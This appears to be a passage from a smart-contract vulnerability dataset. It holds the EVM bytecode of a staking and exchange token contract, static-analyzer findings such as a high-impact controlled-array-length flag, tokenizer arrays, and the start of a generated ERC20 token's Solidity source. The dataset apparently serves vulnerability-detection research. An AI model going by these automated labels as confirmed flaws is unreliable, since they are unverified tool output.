0448082019260009290919082900301818387803b158015610fd357600080fd5b604051806040016040528060048152602001635045524960e01b81525081565b60006060611ae961295a565b905060005b8151811015611be5576000828281518110611b0557fe5b6020908102919091018101516000818152600a83526040908190205460095482516321f8a72160e01b81526004810185905292519395506001600160a01b0391821694610100909104909116926321f8a721926024808201939291829003018186803b158015611b7457600080fd5b505afa158015611b88573d6000803e3d6000fd5b505050506040513d6020811015611b9e57600080fd5b50516001600160a01b0316141580611bcb57506000818152600a60205260409020546001600160a01b0316155b15611bdc576000935050505061166d565b50600101611aee565b50600191505090565b601281565b600d6020528160005260406000208181548110611c0c57fe5b60009182526020909120600390910201805460018201546002909201546001600160a01b03909116935090915083565b60008584611c48613caa565b6001600160a01b0316637118d4316040518163ffffffff1660e01b815260040160006040518083038186803b158015611c8057600080fd5b505afa158015611c94573d6000803e3d6000fd5b50505050611ca0613caa565b6001600160a01b0316633cb4d44383836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b158015611ceb57600080fd5b505afa158015611cff573d6000803e3d6000fd5b50505050611d0b613b8a565b611d13613cdd565b60048054604080516321aea91760e21b81526001600160a01b03928316938101849052602481018d9052604481018c9052606481018b9052608481019390935288821660a484015260c48301889052519216916386baa45c9160e4808201926020929091908290030181600087803b158015611d8e57600080fd5b505af1158015611da2573d6000803e3d6000fd5b505050506040513d6020811015611db857600080fd5b505198975050505050505050565b60095460ff1681565b6000806000611ddc613cc9565b6001600160a01b0316633b09280a856040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060606040518083038186803b158015611e3157600080fd5b505afa158015611e45573d6000803e3d6000fd5b505050506040513d6060811015611e5b57600080fd5b508051602082015160409092015190969195509350915050565b611e7d613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b158015611eb557600080fd5b505afa158015611ec9573d6000803e3d6000fd5b50505050611ed5613b8a565b611edd613cc9565b600480546040805163e71c452f60e01b81526001600160a01b038781169482019490945291831660248301526044820185905251929091169163e71c452f9160648082019260009290919082900301818387803b158015611f3d57600080fd5b505af1158015611f51573d6000803e3d6000fd5b505050505b5050565b611f62613e42565b6001600160a01b0381166000908152600d60205260408120611f8391614b64565b604080514281526000602082015281516001600160a01b038416927fac9f677e99a4df77ed2008bfe08de2e751aab75dce03486489e20585d79e91ce928290030190a250565b6001546001600160a01b031681565b611fe0613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b15801561201857600080fd5b505afa15801561202c573d6000803e3d6000fd5b50505050612038613b8a565b612040613cc9565b6004805460408051632b612fc160e11b81526001600160a01b0392831693810193909352519216916356c25f829160248082019260009290919082900301818387803b15801561208f57600080fd5b505af11580156120a3573d6000803e3d6000fd5b505050505b565b60006120b4613cc9565b6001600160a01b03166355182ccb836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561210957600080fd5b505afa15801561211d573d6000803e3d6000fd5b505050506040513d602081101561213357600080fd5b505192915050565b6000612145613cc9565b6001600160a01b03166357ad4663836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561210957600080fd5b611f56614235565b6001600160a01b0381166000908152600d6020908152604080832080548251818502810185019093528083528493606093929190859084015b8282101561221e576000848152602090819020604080516060810182526003860290920180546001600160a01b03168352600180820154848601526002909101549183019190915290835290920191016121c9565b50505050905060008060008090505b8351811015612294574284828151811061224357fe5b602002602001015160200151111561228c5783818151811061226157fe5b6020026020010151604001518201915083818151811061227d57fe5b60200260200101516020015192505b60010161222d565b50909350915050915091565b6122a8613e42565b836122b1574293505b8360005b838110156122cd5762093a80909101906001016122b5565b5060006122e0838663ffffffff61428216565b905060005b85811015612308576122f88884846142ec565b62093a80909201916001016122e5565b5050505050505050565b61231a613cdd565b6001600160a01b0316336001600160a01b03161461236d576040805162461bcd60e51b815260206004820152601e6024820152600080516020614c81833981519152604482015290519081900360640190fd5b6002805460408051602081018690528082018590528151808203830181526060909101918290526001600160a01b039092169263907dff979291806027614cf18239602701905060405180910390206123c588613e8b565b6000806040518763ffffffff1660e01b815260040180806020018781526020018681526020018581526020018460001b81526020018360001b8152602001828103825288818151815260200191508051906020019080838360005b83811015612438578181015183820152602001612420565b50505050905090810190601f1680156124655780820380516001836020036101000a031916815260200191505b50975050505050505050600060405180830381600087803b15801561248957600080fd5b505af115801561249d573d6000803e3d6000fd5b50505050505050565b6124ae613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b1580156124e657600080fd5b505afa1580156124fa573d6000803e3d6000fd5b50505050612506613b8a565b61250e613cc9565b600480546040805163ba92122360e01b81526001600160a01b0392831693810193909352602483018590525192169163ba9212239160448082019260009290919082900301818387803b158015610fd357600080fd5b600554604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561210957600080fd5b60606125bf613cc9565b6001600160a01b03166372cb051f6040518163ffffffff1660e01b815260040160006040518083038186803b1580156125f757600080fd5b505afa15801561260b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561263457600080fd5b810190808051604051939291908464010000000082111561265457600080fd5b90830190602082018581111561266957600080fd5b825186602082028301116401000000008211171561268657600080fd5b82525081516020918201928201910280838360005b838110156126b357818101518382015260200161269b565b50505050905001604052505050905090565b60606126cf61295a565b905060005b8151811015611f565760008282815181106126eb57fe5b602002602001015190506000600960019054906101000a90046001600160a01b03166001600160a01b031663dacb2d01838460405160200180807f5265736f6c766572206d697373696e67207461726765743a20000000000000008152506019018281526020019150506040516020818303038152906040526040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156127b657818101518382015260200161279e565b50505050905090810190601f1680156127e35780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b15801561280157600080fd5b505afa158015612815573d6000803e3d6000fd5b505050506040513d602081101561282b57600080fd5b50516000838152600a602090815260409182902080546001600160a01b0319166001600160a01b03851690811790915582518681529182015281519293507f88a93678a3692f6789d9546fc621bf7234b101ddb7d4fe479455112831b8aa68929081900390910190a150506001016126d4565b6001546001600160a01b031633146128e75760405162461bcd60e51b8152600401808060200182810382526035815260200180614be66035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60408051600680825260e082019092526060916020820160c0803883390190505090506d50796e746865746978537461746560901b8160008151811061299c57fe5b6020026020010181815250506b53797374656d53746174757360a01b816001815181106129c557fe5b6020026020010181815250506822bc31b430b733b2b960b91b816002815181106129eb57fe5b6020026020010181815250506524b9b9bab2b960d11b81600381518110612a0e57fe5b6020026020010181815250506d537570706c795363686564756c6560901b81600481518110612a3957fe5b602002602001018181525050722932bbb0b93239a234b9ba3934b13aba34b7b760691b81600581518110612a6957fe5b60200260200101818152505090565b6000546001600160a01b031681565b612a8f613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b158015612ac757600080fd5b505afa158015612adb573d6000803e3d6000fd5b50505050612ae7613b8a565b612aef613cc9565b600480546040805163f0617e5b60e01b81526001600160a01b03928316938101939093525192169163f0617e5b9160248082019260009290919082900301818387803b15801561208f57600080fd5b60008584612b4a613caa565b6001600160a01b0316637118d4316040518163ffffffff1660e01b815260040160006040518083038186803b158015612b8257600080fd5b505afa158015612b96573d6000803e3d6000fd5b50505050612ba2613caa565b6001600160a01b0316633cb4d44383836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b158015612bed57600080fd5b505afa158015612c01573d6000803e3d6000fd5b50505050612c0d613b8a565b612c15613cdd565b6004805460408051636fffe53b60e11b81526001600160a01b038e8116948201949094529183166024830152604482018c9052606482018b9052608482018a905288831660a483015260c4820188905251929091169163dfffca769160e4808201926020929091908290030181600087803b158015612c9357600080fd5b505af1158015612ca7573d6000803e3d6000fd5b505050506040513d6020811015612cbd57600080fd5b50519998505050505050505050565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e715780601f10610e4657610100808354040283529160200191610e71565b612d2f613e42565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517ffc80377ca9c49cc11ae6982f390a42db976d5530af7c43889264b13fbbd7c57e9181900360200190a150565b6000806000612d90613b8a565b612d98613cdd565b60048054604080516306c5a00b60e21b81526001600160a01b03928316938101939093526024830188905251921691631b16802c916044808201926060929091908290030181600087803b158015612def57600080fd5b505af1158015611e45573d6000803e3d6000fd5b6003546001600160a01b031681565b6000612e1c613cc9565b6001600160a01b0316639df95f9f836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561210957600080fd5b612e6761439d565b600580546001600160a01b0319166001600160a01b038316179055610fec8161444d565b6000612e95613cc9565b6001600160a01b031663a311c7c2836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561210957600080fd5b6000612ef4613cc9565b6001600160a01b031663a5fdc5de836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561210957600080fd5b6000612f53613b8a565b612f5b613caa565b6001600160a01b031663086dabd16040518163ffffffff1660e01b815260040160006040518083038186803b158015612f9357600080fd5b505afa158015612fa7573d6000803e3d6000fd5b5050600454612fc292506001600160a01b0316905083613e97565b50600454610f08906001600160a01b03168484614578565b6000612fe4613cc9565b600554604080516370a0823160e01b81526001600160a01b03868116600483015291519382169363769aad8593879316916370a08231916024808301926020929190829003018186803b15801561303a57600080fd5b505afa15801561304e573d6000803e3d6000fd5b505050506040513d602081101561306457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091528051604480840193829003018186803b1580156130af57600080fd5b505afa1580156130c3573d6000803e3d6000fd5b505050506040513d604081101561213357600080fd5b6130e1613cdd565b6001600160a01b0316336001600160a01b031614613134576040805162461bcd60e51b815260206004820152601e6024820152600080516020614c81833981519152604482015290519081900360640190fd5b6002805460408051602081018690528082018590528151808203830181526060909101918290526001600160a01b039092169263907dff979291806028614c1b8239602801905060405180910390206123c588613e8b565b613194613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b1580156131cc57600080fd5b505afa1580156131e0573d6000803e3d6000fd5b505050506131ec613b8a565b6131f4613cc9565b600480546040805163012a629560e31b81526001600160a01b0392831693810193909352602483018590525192169163095314a89160448082019260009290919082900301818387803b158015610fd357600080fd5b613252614585565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008382613280613caa565b6001600160a01b0316637118d4316040518163ffffffff1660e01b815260040160006040518083038186803b1580156132b857600080fd5b505afa1580156132cc573d6000803e3d6000fd5b505050506132d8613caa565b6001600160a01b0316633cb4d44383836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b15801561332357600080fd5b505afa158015613337573d6000803e3d6000fd5b50505050613343613b8a565b61334b613cdd565b6004805460408051630d4388eb60e31b81526001600160a01b038c8116948201949094529183166024830152604482018a90526064820189905260848201889052519290911691636a1c47589160a4808201926020929091908290030181600087803b1580156133ba57600080fd5b505af11580156133ce573d6000803e3d6000fd5b505050506040513d60208110156133e457600080fd5b5051979650505050505050565b60006133fb613cc9565b6001600160a01b031663c9a2f3ad836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561210957600080fd5b600061345a613cc9565b6001600160a01b031663d37c4d8b84846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b031681526020018281526020019250505060206040518083038186803b1580156134b757600080fd5b505afa1580156134cb573d6000803e3d6000fd5b505050506040513d60208110156134e157600080fd5b50519392505050565b60006134f4613cc9565b6001600160a01b031663f023e8db8360006040518363ffffffff1660e01b815260040180838152602001821515151581526020019250505060206040518083038186803b15801561210957600080fd5b6004546001600160a01b031681565b600061355d613cc9565b6001600160a01b031663f023e8db8360016040518363ffffffff1660e01b815260040180838152602001821515151581526020019250505060206040518083038186803b15801561210957600080fd5b610fec614235565b60006135bf613cc9565b6001600160a01b031663d99947de6040518163ffffffff1660e01b815260040160206040518083038186803b1580156135f757600080fd5b505afa15801561360b573d6000803e3d6000fd5b505050506040513d602081101561362157600080fd5b5051905090565b60055460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b1580156134b757600080fd5b613689613cdd565b6001600160a01b0316336001600160a01b0316146136dc576040805162461bcd60e51b815260206004820152601e6024820152600080516020614c81833981519152604482015290519081900360640190fd5b6002805460408051602081018690528082018590528151808203830181526060909101918290526001600160a01b039092169263907dff979291806029614d18823960290190506040518091039020876000806040518763ffffffff1660e01b815260040180806020018781526020018681526020018581526020018460001b81526020018360001b81526020018281038252888181518152602001915080519060200190808383600083811015612438578181015183820152602001612420565b6137a6613caa565b6001600160a01b0316637c3125416040518163ffffffff1660e01b815260040160006040518083038186803b1580156137de57600080fd5b505afa1580156137f2573d6000803e3d6000fd5b505050506137fe613b8a565b613806613cc9565b600480546040805163daa0101560e01b81526001600160a01b038781169482019490945291831660248301526044820185905251929091169163daa010159160648082019260009290919082900301818387803b158015611f3d57600080fd5b6000613870613caa565b6001600160a01b031663086dabd16040518163ffffffff1660e01b815260040160006040518083038186803b1580156138a857600080fd5b505afa1580156138bc573d6000803e3d6000fd5b505050506138c8613b8a565b6000806138d3613cc9565b600480546040805163298f137d60e21b81526001600160a01b038a8116948201949094526024810189905291831660448301528051939092169263a63c4df4926064808401939192918290030181600087803b15801561393257600080fd5b505af1158015613946573d6000803e3d6000fd5b505050506040513d604081101561395c57600080fd5b5080516020909101516004549193509150613985908690849084906001600160a01b03166145f9565b60045461399d9086906001600160a01b031684614578565b95945050505050565b6005546001600160a01b031681565b6002546001600160a01b031681565b600083826139d0613caa565b6001600160a01b0316637118d4316040518163ffffffff1660e01b815260040160006040518083038186803b158015613a0857600080fd5b505afa158015613a1c573d6000803e3d6000fd5b50505050613a28613caa565b6001600160a01b0316633cb4d44383836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060006040518083038186803b158015613a7357600080fd5b505afa158015613a87573d6000803e3d6000fd5b50505050613a93613b8a565b613a9b613cdd565b6004805460408051630a1e187d60e01b81526001600160a01b03928316938101849052602481018b9052604481018a905260648101899052608481019390935251921691630a1e187d9160a4808201926020929091908290030181600087803b158015613b0757600080fd5b505af1158015613b1b573d6000803e3d6000fd5b505050506040513d6020811015613b3157600080fd5b50519695505050505050565b6000613b47613cc9565b6001600160a01b031663f5adc4f56040518163ffffffff1660e01b815260040160206040518083038186803b1580156135f757600080fd5b631c1554d160e21b81565b6002546001600160a01b03163314801590613bb057506003546001600160a01b03163314155b8015613bc757506004546001600160a01b03163314155b156120a857600480546001600160a01b03191633179055565b60025460408051602080820185905282518083039091018152908201918290526001600160a01b039092169163907dff9791600390806021614cd0823960210190506040518091039020613c3388613e8b565b613c3c88613e8b565b60006040518763ffffffff1660e01b815260040180806020018781526020018681526020018581526020018481526020018360001b81526020018281038252888181518152602001915080519060200190808383600083811015612438578181015183820152602001612420565b6000613cc46b53797374656d53746174757360a01b614736565b905090565b6000613cc46524b9b9bab2b960d11b614736565b6000613cc46822bc31b430b733b2b960b91b614736565b6000613cc4722932bbb0b93239a234b9ba3934b13aba34b7b760691b614736565b6000613cc46d537570706c795363686564756c6560901b614736565b600082821115613d88576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015613de8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60025460408051602080820185905282518083039091018152908201918290526001600160a01b039092169163907dff9791600390806021614d73823960210190506040518091039020613c3388613e8b565b6000546001600160a01b031633146120a85760405162461bcd60e51b815260040180806020018281038252602f815260200180614ca1602f913960400191505060405180910390fd5b6001600160a01b031690565b6000613ea3838361481a565b15613eed576040805162461bcd60e51b815260206004820152601560248201527450455249203a204c6f636b65642062616c616e636560581b604482015290519081900360640190fd5b6000613ef7614925565b60408051631167f01160e31b81526001600160a01b0387811660048301528251931692638b3f808892602480840193919291829003018186803b158015613f3d57600080fd5b505afa158015613f51573d6000803e3d6000fd5b505050506040513d6040811015613f6757600080fd5b505190508015610f0857600080613f7c613cc9565b600554604080516370a0823160e01b81526001600160a01b038a8116600483015291519382169363769aad85938b9316916370a08231916024808301926020929190829003018186803b158015613fd257600080fd5b505afa158015613fe6573d6000803e3d6000fd5b505050506040513d6020811015613ffc57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091528051604480840193829003018186803b15801561404757600080fd5b505afa15801561405b573d6000803e3d6000fd5b505050506040513d604081101561407157600080fd5b5080516020909101519092509050818511156140be5760405162461bcd60e51b8152600401808060200182810382526027815260200180614d946027913960400191505060405180910390fd5b80156140fb5760405162461bcd60e51b8152600401808060200182810382526021815260200180614dbb6021913960400191505060405180910390fd5b50600195945050505050565b60055460408051636eb1769f60e11b81526001600160a01b03868116600483015287811660248301529151600093929092169163da46098c91879189916141aa918891879163dd62ed3e91604480820192602092909190829003018186803b15801561417257600080fd5b505afa158015614186573d6000803e3d6000fd5b505050506040513d602081101561419c57600080fd5b50519063ffffffff613d3116565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561421257600080fd5b505af1158015614226573d6000803e3d6000fd5b5050505061399d848484614941565b6040805162461bcd60e51b815260206004820152601b60248201527f43616e6e6f742062652072756e206f6e2074686973206c617965720000000000604482015290519081900360640190fd5b60008082116142d8576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b60008284816142e357fe5b04949350505050565b6142f4614b85565b602081810184815260408084018581526001600160a01b038881168087526000818152600d875284812080546001808201835591835291889020895160039093020180546001600160a01b0319169290941691909117835594519482019490945590516002909101558051868152928301859052805191927fac9f677e99a4df77ed2008bfe08de2e751aab75dce03486489e20585d79e91ce929081900390910190a250505050565b6002546001600160a01b031633148015906143c357506003546001600160a01b03163314155b80156143da57506004546001600160a01b03163314155b156143f257600480546001600160a01b031916331790555b6000546004546001600160a01b039081169116146120a8576040805162461bcd60e51b815260206004820152601360248201527227bbb732b91037b7363c90333ab731ba34b7b760691b604482015290519081900360640190fd5b600254604080516001600160a01b038481166020808401919091528351808403820181528385018086527f546f6b656e5374617465557064617465642861646472657373290000000000009052935192839003605a01832063907dff9760e01b8452600160248501819052604485018290526000606486018190526084860181905260a4860181905260c060048701908152875160c48801528751959098169763907dff97979692959394919384938493839260e490920191908a0190808383885b8381101561452757818101518382015260200161450f565b50505050905090810190601f1680156145545780820380516001836020036101000a031916815260200191505b50975050505050505050600060405180830381600087803b158015610fd357600080fd5b60006119f4848484614941565b6002546001600160a01b03163314806145a857506003546001600160a01b031633145b6120a8576040805162461bcd60e51b815260206004820152601760248201527f4f6e6c79207468652070726f78792063616e2063616c6c000000000000000000604482015290519081900360640190fd5b6002805460408051602081018790528082018690526001600160a01b03858116606080840191909152835180840390910181526080909201928390529092169263907dff979291806032614d4182396032019050604051809103902061465e89613e8b565b6000806040518763ffffffff1660e01b815260040180806020018781526020018681526020018581526020018460001b81526020018360001b8152602001828103825288818151815260200191508051906020019080838360005b838110156146d15781810151838201526020016146b9565b50505050905090810190601f1680156146fe5780820380516001836020036101000a031916815260200191505b50975050505050505050600060405180830381600087803b15801561472257600080fd5b505af1158015612308573d6000803e3d6000fd5b6000818152600a6020908152604080832054815170026b4b9b9b4b7339030b2323932b9b99d1607d1b9381019390935260318084018690528251808503909101815260519093019091526001600160a01b031690816148135760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156147d85781810151838201526020016147c0565b50505050905090810190601f1680156148055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5092915050565b600080600061482885612190565b915091508160001415801561483c57508015155b801561399d5750600554604080516370a0823160e01b81526001600160a01b0388811660048301529151849392909216916370a0823191602480820192602092909190829003018186803b15801561489357600080fd5b505afa1580156148a7573d6000803e3d6000fd5b505050506040513d60208110156148bd57600080fd5b505111158061399d5750600554604080516370a0823160e01b81526001600160a01b0388811660048301529151879361491b9386939116916370a0823191602480820192602092909190829003018186803b15801561417257600080fd5b1095945050505050565b6000613cc46d50796e746865746978537461746560901b614736565b60006001600160a01b0383161580159061496457506001600160a01b0383163014155b801561497e57506002546001600160a01b03848116911614155b6149cf576040805162461bcd60e51b815260206004820152601f60248201527f43616e6e6f74207472616e7366657220746f2074686973206164647265737300604482015290519081900360640190fd5b600554604080516370a0823160e01b81526001600160a01b0387811660048301529151919092169163b46310f6918791614a2d91879186916370a0823191602480820192602092909190829003018186803b15801561417257600080fd5b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015614a7c57600080fd5b505af1158015614a90573d6000803e3d6000fd5b5050600554604080516370a0823160e01b81526001600160a01b038881166004830152915191909216935063b46310f692508691614af291879186916370a0823191602480820192602092909190829003018186803b15801561146357600080fd5b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015614b4157600080fd5b505af1158015614b55573d6000803e3d6000fd5b50505050610f08848484613def565b5080546000825560030290600052602060002090810190610fec9190614baf565b604051806060016040528060006001600160a01b0316815260200160008152602001600081525090565b61166d91905b80821115614be15780546001600160a01b03191681556000600182018190556002820155600301614bb5565b509056fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e65727368697045786368616e67655265636c61696d28616464726573732c627974657333322c75696e743235362950796e746845786368616e676528616464726573732c627974657333322c75696e743235362c627974657333322c75696e743235362c61646472657373294f6e6c792045786368616e6765722063616e20696e766f6b65207468697300004f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e417070726f76616c28616464726573732c616464726573732c75696e743235362945786368616e676552656261746528616464726573732c627974657333322c75696e743235362945786368616e6765547261636b696e6728627974657333322c627974657333322c75696e74323536294163636f756e744c69717569646174656428616464726573732c75696e743235362c75696e743235362c61646472657373295472616e7366657228616464726573732c616464726573732c75696e743235362943616e6e6f74207472616e73666572207374616b6564206f7220657363726f7765642050455249412070796e7468206f722050455249207261746520697320696e76616c69642042a265627a7a72315820f539b92eab2b6f5450ebf3dcb67451d828c54724e46bd7f026d383efe28d92c764736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 9818, 2683, 2683, 15136, 2575, 2497, 2575, 14526, 2575, 2620, 2094, 2692, 2683, 2509, 2063, 12521, 2683, 2629, 2094, 19317, 17465, 2683, 22932, 2620, 17134, 22025, 2683, 2094, 2575, 1013, 1008, 1008, 1052, 6038, 26830, 1024, 2566, 10128, 2072, 1012, 14017, 1008, 1008, 1008, 3206, 12530, 15266, 1024, 1008, 1011, 2918, 7685, 3372, 27065, 7646, 1008, 1011, 4654, 16451, 9153, 22513, 11045, 2078, 1008, 1011, 24264, 14141, 8303, 6072, 4747, 6299, 1008, 1011, 29464, 11890, 11387, 1008, 1011, 12997, 6038, 10760, 3775, 2595, 1008, 1011, 2003, 6279, 22086, 22842, 8566, 2571, 1008, 1011, 4666, 2378, 6072, 4747, 6299, 1008, 1011, 3079, 1008, 1011, 24540, 3085, 1008, 1011, 2110, 1008, 8860, 1024, 1008, 1011, 8785, 1008, 1011, 3647, 3207, 6895, 9067, 18900, 2232, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,806
0x95BcE72fE85500946b5FC83aD98615d7421A9843
// SPDX-License-Identifier: MIT /* * Token has been generated using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string 